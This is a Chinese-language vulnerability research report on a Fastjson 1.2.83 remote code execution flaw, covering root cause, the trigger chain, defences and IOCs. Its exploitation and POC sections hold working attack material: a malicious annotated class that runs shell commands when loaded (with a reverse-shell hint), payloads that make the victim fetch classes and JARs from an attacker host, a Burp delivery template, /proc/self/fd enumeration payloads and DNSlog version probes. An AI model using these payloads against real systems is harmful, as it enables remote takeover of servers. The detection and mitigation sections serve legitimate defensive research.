Fastjson 1.2.83 “Gadget-Free“ RCE Fastjson 1.2.83 “Gadget-Free” RCE 漏洞深度研究报告漏洞编号QVD-2026-43021 / 内部编号FJ-GETRESOURCE-RCE披露时间2026-07-21原始发现者Kirill Firsovk_firsov危险等级高危满足部署条件时按严重处理目录执行摘要影响范围漏洞根因分析触发链路利用链详解完整 POC环境差异与利用条件检测与 IOC修复与缓解与历史漏洞对比1. 执行摘要本漏洞打破了以下三条业界普遍认知错误认知实际情况AutoType 默认关闭就安全漏洞在 AutoTypefalse 默认状态下仍可触发固定 parseObject 第二参数就安全已验证固定 BoundEnvelope.class 仍 RCE-OKclasspath 没有已知 gadget 就安全本漏洞不依赖任何本地 gadget核心原理ParserConfig.checkAutoType()会把用户可控的type值做.→/替换后拼成 class 资源名交给ClassLoader.getResourceAsStream()探测。在 Spring Boot FatJar 的LaunchedURLClassLoader环境下精心构造的类型名会被解析为绝对 HTTP/JAR URL触发远程 class 拉取。攻击者提供的 class 只需带有JSONType注解即可绕过 Fastjson 后续所有安全检查直接被加载执行。已验证复现环境JDKClassLoaderFastjson结果Temurin 8u492Spring Boot Loader 2.7.181.2.83RCE 成功Temurin 17.0.19Spring Boot Loader 3.2.01.2.83RCE 成功Temurin 21.0.11Spring Boot Loader 3.2.01.2.83RCE 成功Temurin 25.0.3Spring Boot Loader 3.2.01.2.83RCE 成功2. 影响范围2.1 受影响版本核心受影响Fastjson 1.2.66 ~ 1.2.83注资源探测代码在 1.2.67/1.2.68 已存在但完整跨 JDK 链仅在 1.2.83 完整验证2.2 利用所需前置条件必须满足缺一不可攻击者可控制传入 Fastjson 的 JSON且type会被解析SafeMode 未启用这是最关键的防御点加载 Fastjson 的 ClassLoader 能把绝对资源名解析为 URL如 Spring Boot FatJar受害进程可以出网连接攻击端 HTTP 服务现代 JDK 链额外需要/proc/self/fd可读Linux且 JVM 临时目录可写不需要目标 classpath 中的任何已知反序列化 gadget开启 AutoType控制 parseObject 第二个目标类型参数向目标文件系统写入文件2.3 危险接口示例// 高危写法未指定目标类型PostMapping(/parse)publicObjectparse(RequestBodyStringbody){returnJSON.parse(body);// 外部输入直接进入 Fastjson}2.4 复现构件哈希fastjson-1.2.83.jar SHA-256: 641a4d65ab32fbfdccd9c718e3f83ebc4caabdb5e4fe5b3d51527c5fe692631d spring-boot-loader-2.7.18.jar SHA-256: 855d80b2d8afc9140036ab20dba5d9333ed427bb1562057265335b244b98ed16 spring-boot-loader-3.2.0.jar SHA-256: 84d7352ce2f264262afb0253b9b882b0abf56f7c371c7523a0b3f6401d9c831b3. 漏洞根因分析3.1 用户类型名被当作资源 URL核心缺陷源码位置ParserConfig.java:1479-1498StringresourcetypeName.replace(.,/).class;if(defaultClassLoader!null){isdefaultClassLoader.getResourceAsStream(resource);}else{isParserConfig.class.getClassLoader().getResourceAsStream(resource);}该逻辑假设resource只是普通 classpath 路径没有限制协议、绝对路径语义或来源。对 Spring Boot FatJar 的 ClassLoader以下输入会在替换后变成绝对 URL输入 typeName: http:..attacker.com.a 替换后 resource: http://attacker.com/a.classgetResourceAsStream()从本地元数据查询越界为攻击者可控的网络资源加载。3.2 远程 class 的 JSONType 被当作授权依据Fastjson 使用自己的 ASM ClassReader 解析资源内容ClassReaderclassReadernewClassReader(is,true);TypeCollectorvisitornewTypeCollector(clinit,newClass[0]);classReader.accept(visitor);jsonTypevisitor.hasJsonType();// 检查攻击者提供的字节不是可信 classpath攻击端只需让远程 class 带有JSONType注解即可将jsonType置为true。3.3 JSONType 触发实际类加载源码位置ParserConfig.java:1500-1503if(autoTypeSupport||jsonType||expectClassFlag){booleancacheClassautoTypeSupport||jsonType;clazzTypeUtils.loadClass(typeName,defaultClassLoader,cacheClass);}TypeUtils.loadClass依次尝试显式 loader → 线程上下文 loader →Class.forName。在正向环境中线程上下文 loader 再次解析相同绝对资源名、下载 class 并defineClass。3.4 JSONType 早返回绕过所有后续安全检查源码位置ParserConfig.java:1505-1528if(clazz!null){if(jsonType){returnclazz;// -- 直接返回后续危险基类检查不执行}// 以下检查均被跳过if(ClassLoader.class.isAssignableFrom(clazz)||DataSource.class.isAssignableFrom(clazz)||...){thrownewJSONException(...);}if(expectClass!null){// expectClass.isAssignableFrom(clazz) 也被跳过}}远程 class 携带JSONType后危险基类检查、类型兼容性检查全部失效。3.5 Exception 后缀形成失败软通道跨 JDK 关键源码位置ParserConfig.java:1537-1542if(!autoTypeSupport){if(typeName.endsWith(Exception)||typeName.endsWith(Error)){returnnull;// 软返回JSON 解析继续}thrownewJSONException(autoType is not support. typeName);}现代 JDK 第一阶段因非法内部类名加载失败时让类型名以Exception结尾后Fastjson不终止整个 JSON而是return null使解析器继续处理数组后续元素。这一分支是单 payload 跨阶段执行的核心机制。3.6 SafeMode 的位置为什么有效SafeMode 检查位于资源访问之前ParserConfig.java:1325-1330因此启用 SafeMode 后网络请求不会发出。但注意AutoTypeCheckHandler在 SafeMode 之前执行自定义 handler 需单独审计。4. 触发链路接收 JSON 请求含 type 字段 ↓ Fastjson JSON.parse() / JSON.parseObject() ↓ ParserConfig.checkAutoType() ↓ typeName.replace(., /) .class ← 点号替换为斜杠 ↓ defaultClassLoader.getResourceAsStream(resource) ↓ ┌─────────────────────────────────────────────────┐ │ Spring Boot LaunchedURLClassLoader │ │ 识别绝对 URL 协议发起远程 HTTP 请求 │ └─────────────────────────────────────────────────┘ ↓ 攻击端返回带 JSONType 注解的恶意 class 字节 ↓ ASM ClassReader 扫描到 JSONType → jsonType true ↓ TypeUtils.loadClass(typeName, ...) 再次加载 ↓ ClassLoader.defineClass() → 执行 clinit 静态初始化块 ↓ 恶意代码执行RCE关键整个链路中无需目标 classpath 中存在任何 gadget 类。5. 利用链详解5.1 点号替换问题IP 地址处理Fastjson 执行typeName.replace(., /)会破坏 IPv4 地址中的点号127.0.0.1 → 127/0/0/1URL 损坏解决方案将 IPv4 转为十进制整数importsocket,structdefip_to_decimal(ip):returnstruct.unpack(!I,socket.inet_aton(ip))[0]print(ip_to_decimal(127.0.0.1))# 输出: 2130706433print(ip_to_decimal(192.168.1.1))# 输出: 3232235777因此 payload 中用2130706433代替127.0.0.1替换后不会被拆散。5.2 JDK 8 链直接远程 class 加载payload 最短形式{type:http:..2130706433:18081.evil}转换链typeName: http:..2130706433:18081.evil resource: http://2130706433:18081/evil.class 内部名称: http://2130706433:18081/evilJDK 8 接受该非常规内部类名LaunchedURLClassLoader下载并完成defineClass恶意clinit执行命令。限制JDK 17 拒绝内部名中的空路径段提示ClassFormatError: Illegal class name http://attacker/a5.3 现代 JDK 第一阶段下载远程 JAR 到临时缓存payload 首个元素{type:jar:http:..attacker:18081.x!.foo.Exception}转换结果resource: jar:http://attacker:18081/x!/foo/Exception.classsun.net.www.protocol.jar.URLJarFile.retrieve创建jar_cache*临时文件将远程 JAR 复制到本地打开JarFile。缓存文件由 JVM 持有攻击者无需知道随机临时文件名。JDK 17 因Exception后缀软返回Fastjson 继续解析数组下一元素。5.4 现代 JDK 第二阶段通过 /proc/self/fd 重开缓存 JARpayload 后续候选元素示例{type:jar:file:.proc.self.fd.7!.fd7.Exception},{type:jar:file:.proc.self.fd.8!.fd8.Exception},...{type:jar:file:.proc.self.fd.64!.fd64.Exception}转换链typeName: jar:file:.proc.self.fd.7!.fd7.Exception resource: jar:file:/proc/self/fd/7!/fd7/Exception.class 内部名称: jar:file:/proc/self/fd/7!/fd7/Exception与http://不同该内部名每个/分隔组件均非空JVM 接受。攻击 JAR 为每个候选 FD 准备一个入口fd3~fd64每个 class 携带JSONType。命中实际缓存句柄的 FD 后Fastjson 加载该 classclinit执行命令。JDK 17 class-load 日志中首个命中示例[class,load] jar:file:.proc.self.fd.7!.fd7.Exception5.5 单 payload 兼容 JDK 8 与现代 JDK 的原理JDK 8 路径 第一阶段 jar:http://... class 直接加载并执行 class 执行命令后主动抛出 RuntimeException(stage-one-stop) 阻止 JDK 8 继续尝试 FD 枚举避免误命中 socket/pipe FD JDK 17/21/25 路径 第一阶段因非法内部类名报 ClassFormatError不触发主动异常 Fastjson 因 Exception 后缀软返回继续处理后续数组元素 进入第二阶段 /proc/self/fd FD 枚举找到缓存句柄执行6. 完整 POC6.1 恶意 class攻击端准备// EvilClass.java - 部署在攻击端 HTTP 服务packagefd7;// 包名与 FD 路径对应importcom.alibaba.fastjson.annotation.JSONType;JSONType// 关键让 Fastjson ASM 扫描到注解触发 loadClasspublicclassExceptionextendsjava.lang.Exception{static{try{// 替换为实际命令如反弹 shellRuntime.getRuntime().exec(newString[]{/bin/bash,-c,touch /tmp/fastjson-getresource-rce});}catch(Exceptione){e.printStackTrace();}}}6.2 JDK 8 专用 POC单条 payload{type:http:..2130706433:18081.evil}将2130706433替换为攻击端 IP 的十进制整数形式18081替换为端口。6.3 跨 JDK 通用 payload数组形式[{type:jar:http:..2130706433:18081.x!.foo.Exception},{type:jar:file:.proc.self.fd.3!.fd3.Exception},{type:jar:file:.proc.self.fd.4!.fd4.Exception},{type:jar:file:.proc.self.fd.5!.fd5.Exception},{type:jar:file:.proc.self.fd.6!.fd6.Exception},{type:jar:file:.proc.self.fd.7!.fd7.Exception},{type:jar:file:.proc.self.fd.8!.fd8.Exception},{type:jar:file:.proc.self.fd.9!.fd9.Exception},{type:jar:file:.proc.self.fd.10!.fd10.Exception},{type:jar:file:.proc.self.fd.11!.fd11.Exception},{type:jar:file:.proc.self.fd.12!.fd12.Exception},{type:jar:file:.proc.self.fd.13!.fd13.Exception},{type:jar:file:.proc.self.fd.14!.fd14.Exception},{type:jar:file:.proc.self.fd.15!.fd15.Exception},{type:jar:file:.proc.self.fd.16!.fd16.Exception}]建议 FD 范围枚举至 fd64覆盖大多数 JVM 进程打开的临时缓存句柄。6.4 Burp Suite 投递模板POST /parse HTTP/1.1 Host: victim.example.com Content-Type: application/json Connection: close Content-Length: length [ {type: jar:http:..2130706433:18081.x!.foo.Exception}, {type: jar:file:.proc.self.fd.7!.fd7.Exception} ]固定第二参数的接口包装方式仍然有效POST /api/user HTTP/1.1 Content-Type: application/json {value: [ {type: jar:http:..2130706433:18081.x!.foo.Exception}, {type: jar:file:.proc.self.fd.7!.fd7.Exception} ]}6.5 版本探测 payload判断是 1.2.80 还是 1.2.83[{type:java.lang.Exception,type:com.alibaba.fastjson.JSONException,x:{type:java.net.InetSocketAddress{address:,val:first.dnslog.cn}}},{type:java.lang.Exception,type:com.alibaba.fastjson.JSONException,message:{type:java.net.InetSocketAddress{address:,val:second.dnslog.cn}}}]收到两个 DNS 请求 → 1.2.83收到一个 → 1.2.80。6.6 ClassLoader 类型排查判断是否可利用// 应用启动时打印判断 ClassLoader 类型PostConstructpublicvoidprintClassLoader(){ClassLoaderctxThread.currentThread().getContextClassLoader();ClassLoaderfjParserConfig.getGlobalInstance().getDefaultClassLoader();System.out.println(contextClassLoader ctx);System.out.println(fastjsonClassLoader fj);}输出含LaunchedURLClassLoader→ 可能可利用输出AppClassLoader→ 普通场景远程资源解析不触发。6.7 IP 转十进制工具#!/usr/bin/env python3importsocket,struct,sysdefip_to_decimal(ip:str)-int:returnstruct.unpack(!I,socket.inet_aton(ip))[0]if__name____main__:ipsys.argv[1]iflen(sys.argv)1else127.0.0.1decip_to_decimal(ip)print(f{ip}-{dec})print(fpayload: http:..{dec}:18081.evil)6.8 参考 POC 仓库https://github.com/midisec/fastjson-1.2.83-gadget-rce7. 环境差异与利用条件7.1 各场景利用可行性测试场景HTTP 请求发出命令执行结论AutoTypefalse默认有有关闭 AutoType 不足以防御固定BoundEnvelope.class有有固定第二参数不足以防御SafeModetrue无无有效阻断普通 AppClassLoader无无不解析绝对远程资源安全Spring Boot 2.7 JDK 17第一段有无第二段 jar:file:/proc/self/fd 未解析Spring Boot 3.2 JDK 17/21/25有有完整现代链成立7.2 JDK 版本影响JDK 8接受非常规内部类名jar:http://...直接 class 加载最易利用JDK 17/21/25拒绝第一阶段非法名但第二阶段/proc/self/fd链可绕过需 LinuxmacOS使用/dev/fd也完成了 JDK 17/21/25 复现7.3 打包方式影响打包方式ClassLoader利用可行性Spring Boot FatJarLaunchedURLClassLoader高风险传统 WAR 部署AppClassLoader / Tomcat通常无法触发远程资源加载直接 java -cp 运行AppClassLoader通常安全7.4 出网限制影响目标无法出网时远程资源加载链路被直接切断漏洞降级为SSRF/探测建议通过 DNSLOG 先确认目标是否出网8. 检测与 IOC8.1 请求侧特征重点关注 JSON body 中解码后的type值包含以下特征http:.. jar:http:.. jar:file:.proc.self.fd. jar:file:.dev.fd. !.fd Exception结合数组 FD 路径判断单独出现不报警 Unicode 绕过type 等价于 type8.2 网络侧特征IDS/EDRJVM 进程向非预期主机请求无扩展名 JAR 或.class文件同一解析请求期间出现 1-3 次重复 GET/HEAD请求路径中出现/x、/a.class或数字路径8.3 主机侧特征# 检查 JVM 临时目录异常文件ls-la/tmp/jar_cache*ls-la/var/tmp/jar_cache*# 检查 Java 进程是否通过 /proc/self/fd 重新打开文件lsof-pjava_pid|grepproc/self/fd# class-load 日志中的命中特征-verbose:class|grepjar:file:.proc.self.fd8.4 已知 IOCpayload 特征字符串jar:file:.proc.self.fd. jar:http:.. http:...*:18081 JSONType9. 修复与缓解9.1 首选方案迁移 Fastjson 2.x高危!-- Maven --dependencygroupIdcom.alibaba.fastjson2/groupIdartifactIdfastjson2/artifactIdversion2.0.57/version/dependencyFastjson 2.x 不再为兼容提供白名单安全性大幅提升但不完全兼容 1.x API。9.2 立即应急启用 SafeMode代码方式推荐// 在 SpringBoot 启动最早阶段执行ParserConfig.getGlobalInstance().setSafeMode(true);SpringBootApplicationpublicclassDemoApplication{publicstaticvoidmain(String[]args){ParserConfig.getGlobalInstance().setSafeMode(true);// 最先执行SpringApplication.run(DemoApplication.class,args);}}JVM 参数方式java-Dfastjson.parser.safeModetrue-jarapp.jar配置文件方式fastjson.parser.safeModetrue⚠️ 启用 SafeMode 会完全禁用 AutoType依赖多态反序列化的业务需做回归测试。9.3 收紧解析入口// 危险直接暴露 JSON.parsereturnJSON.parse(body);// 更安全指定目标类型returnJSON.parseObject(body,UserDTO.class);// 注意仅固定第二参数仍不足以完全防御本漏洞需配合 SafeMode9.4 WAF 临时规则# 拦截 type 字段覆盖 Unicode 编码绕过 # 明文 type # Unicode type \x40type # 拦截协议特征 jar:http: jar:file: http:.. .proc.self.fd.WAF 只能作为缓解层不能替代 SafeMode 或版本升级。9.5 出网与运行时加固# 禁止 JVM 访问非业务外部地址iptables 示例iptables-AOUTPUT-mowner --uid-ownerjava-user-jDROP iptables-AOUTPUT-mowner --uid-ownerjava-user-d允许的IP段-jACCEPT# 容器化场景限制网络策略Kubernetes NetworkPolicy 示例# 只允许出口访问数据库等必要服务拒绝任意外网# 审计 ClassLoader 对绝对 URL 资源名的处理# 在受信 ClassLoader 中拒绝 http:、jar:http:、jar:file:/proc 等协议10. 与历史漏洞对比漏洞/技术影响版本需要 gadgetautoType 要求核心机制CVE-2017-18349 (1.2.24)≤1.2.24需要JNDI需开启无防护直接加载CVE-2019-* (1.2.47)≤1.2.47需要JNDI无需cache 投毒mappingTable 缓存绕过CVE-2022-25845 (1.2.80)≤1.2.80需要Throwable无需Exception 派生类 setterQVD-2026-43021 (1.2.83)1.2.66~1.2.83无需无需JSONType 资源探测劫持历史链路对比CVE-2022-258451.2.80核心 payload{type:java.lang.Exception,type:org.codehaus.groovy.control.CompilationFailedException,unit:{}}然后通过 Groovy 远程类加载实现 RCE{type:org.codehaus.groovy.control.ProcessingUnit,type:org.codehaus.groovy.tools.javac.JavaStubCompilationUnit,config:{type:org.codehaus.groovy.control.CompilerConfiguration,classpathList:[http://attacker:8080/evil.jar]},gcl:null,destDir:/tmp}QVD-2026-430211.2.83相比之下不依赖 Groovy、aspectj、commons-io 等特定依赖库不依赖目标 classpath 中任何已知 gadget利用 Fastjson 自身资源探测逻辑攻击面更广参考资料kevin735.cn - Fastjson 1.2.83 RCE 分析GCSA 全球网络安全联盟 - 深度分析报告JFrog - CVE-2022-25845 深度分析su18/hack-fastjson-1.2.80 - KCon 议题 payload 集hosch3n/FastjsonVulns - 1.2.83 RCE 复现midisec/fastjson-1.2.83-gadget-rce - POC 仓库fearsoff.org - FastJson 1.2.83 RCE ResearchGitHub Security Lab GHSL-2024-282Fastjson 官方安全公告 20220523报告日期2026-07-22 | 基于公开技术披露整理仅供授权安全研究使用